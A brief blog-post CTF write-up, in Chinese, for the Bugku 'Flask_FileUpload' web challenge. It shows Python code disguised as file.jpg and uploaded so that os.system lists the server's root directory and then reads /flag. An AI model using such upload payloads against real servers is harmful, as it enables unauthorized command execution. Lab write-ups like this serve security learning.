Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
风骏时光牛马1 小时前
大模型底层架构与AI源码深度剖析进击的明明2 小时前
当AI开始“边想边干”：深入聊聊ReAct，以及如何用Python手搓一个简单Agent掘金挖土2 小时前
前端手摸手跑路之 AI 应用开发（九）全栈弄潮儿2 小时前
Python实战第8期：函数卷无止境4 小时前
暗流与破局：AI时代的代码安全审查工具全景指南中文呀4 小时前
三维 GIS 离线缓存实战：逆向 CesiumOfflineCache，并亲手为它补上"自动更新"能力前进前进前进5 小时前
TRAE 全链路实战：做了一个警示牌一键生成器：纯 Canvas、单文件、零依赖小万7426 小时前
God‘s Eye View 深度解析：15 路公开信号 + CesiumJS 的浏览器级 OSINT 控制台，60 帧渲染的“真实间谍卫星模拟器”IT星宿6 小时前
浏览器标签页全是一个图标：我用名字哈希生成 favicon，让每个项目都有身份标识